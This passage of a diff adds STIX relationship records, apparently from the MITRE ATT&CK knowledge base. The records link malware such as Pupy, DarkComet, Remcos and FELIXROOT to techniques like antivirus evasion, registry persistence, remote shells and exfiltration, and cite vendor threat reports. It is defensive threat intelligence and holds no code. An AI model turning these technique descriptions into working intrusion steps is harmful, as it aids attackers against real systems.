"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to scan for security tools such as firewalls and antivirus tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "Some [Bisonal](https://attack.mitre.org/software/S0268) samples encrypt C2 communications with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--180f0c7c-c7bb-4131-b831-f406ee0516e2", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8ce2219f-6c25-46a2-8215-a78871e2773a", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[DustySky](https://attack.mitre.org/software/S0062) checks for the existence of anti-virus.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module for loading and executing PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--328636ab-7265-4212-96d4-4ebf2e6a65db", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can disable Avira anti-virus.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses the zip -r command to compress the data collected on the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cca64a18-4601-4169-9a8e-63036403940f", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can upload, download, and execute files on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7282eabe-73e0-4a10-824b-f18df7f892e2", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e", + "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "modified": "2019-03-25T14:17:43.377Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Spring Dragon Jun 2015", + "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.", + "url": "https://securelist.com/the-spring-dragon-apt/70726/" + }, + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of downloading additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:31.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "source_name": "Invincea XTunnel", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--116249f4-b71c-409e-ad9d-7d59d1297d69", + "source_ref": "course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "modified": "2019-07-25T11:50:34.752Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\; the malicious file by the same name is saved in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used Daniel Bohannon\u2019s Invoke-Obfuscation framework. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5c2cd95f-9c3a-4893-9a5f-960cfed62572", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "source_name": "GitHub Invoke-Obfuscation", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + }, + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) collects current and parent process IDs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f017f6c0-96f4-46f1-905f-44e9950effbc", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.581Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) opens a remote shell to execute commands on the infected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5967cfeb-4525-44e8-9f92-e5b51fe72308", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.786Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WMI to deliver a payload to a remote host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.341Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.055Z", + "id": "relationship--3cdc74fc-a291-4253-98b4-ca33e021914a", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "modified": "2019-03-25T14:27:23.924Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "source_name": "DustySky2", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3abe734c-7fd2-4da6-9b0a-420f9187165c", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's proxy information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7ffec01b-b49c-4851-947f-cd29f9525aef", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) encrypts strings with XOR and obfuscates the macro code from the initial payload. [Zeus Panda](https://attack.mitre.org/software/S0330) also encrypts all configuration and settings in AES and RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.434Z", + "id": "relationship--bc9a5286-98a6-4905-b4ce-8f4d958861b6", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can download and execute additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:23:46.189Z", + "id": "relationship--8f41386c-5760-409e-b8b4-513f3d791d9f", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "modified": "2019-01-29T18:23:46.189Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can access a system\u2019s webcam and take pictures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.802Z", + "id": "relationship--c73f5693-e40c-48a9-b41c-8207f7180523", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:52.981Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) takes advantage of the /SetNotifyCmdLine option in [BITSAdmin](https://attack.mitre.org/software/S0190) to ensure it stays running on a system to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.713Z", + "id": "relationship--4f290a4e-983c-460f-b00c-e1bc8dd4d413", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-09-23T13:27:28.894Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds several Registry entries to enable automatic execution at every system startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.824Z", + "id": "relationship--aeb0762f-0d0e-43b8-be6f-413f60097e02", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.608Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the rem reg query command to obtain values from Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.132Z", + "id": "relationship--014010a2-7bb8-4b11-bef9-c85609b2d94b", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can modify the victim's firewall and anti-virus.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.454Z", + "id": "relationship--c81c6d91-00f3-4c8b-bf34-929972685aa3", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore 